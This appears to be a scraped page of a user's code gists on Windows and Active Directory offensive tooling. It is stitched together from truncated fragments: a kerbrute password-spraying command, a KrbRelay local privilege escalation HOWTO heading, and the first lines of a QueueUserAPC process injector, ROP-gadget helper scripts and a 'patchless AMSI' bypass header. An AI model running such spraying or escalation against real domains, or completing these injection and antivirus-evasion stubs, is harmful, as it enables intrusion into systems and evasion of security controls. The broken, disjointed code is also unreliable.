clod clod81

Kerberos cheatsheet

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Download and install Certi

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

	# Ensure System.Security assembly is loaded.
	Add-Type -AssemblyName System.Security

	function ConvertTo-CIPolicy {
	<#
	.SYNOPSIS

	Converts a binary file that contains a Code Integrity policy into XML format.

	Author: Matthew Graeber (@mattifestation)

	typedef unsigned int DWORD;
	typedef unsigned char BYTE;
	typedef unsigned char * PBYTE;
	typedef DWORD HRESULT;
	typedef unsigned short USHORT;
	typedef unsigned int ULONG;
	typedef unsigned char UCHAR;
	typedef bool BOOL;

	static const DWORD kCurrentMajorVersion = 2;

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program

	#!/usr/bin/env python3

	"""
	# NOTE, you must change the filename below for the rp++ output you want to process.
	# This script does not take arguments in its current form. Sorry!
	"""

	import re

	from pwn import p32, u32

	#!/usr/bin/env python3

	"""
	# NOTE, you must change the string below for data you want.
	# This script does not take arguments in its current form. Sorry!
	"""

	from pwn import *

	string = b"foobar"

	#ifndef PATCHLESS_AMSI_H
	#define PATCHLESS_AMSI_H

	#include <windows.h>

	static const int AMSI_RESULT_CLEAN = 0;

	PVOID g_amsiScanBufferPtr = nullptr;

	unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {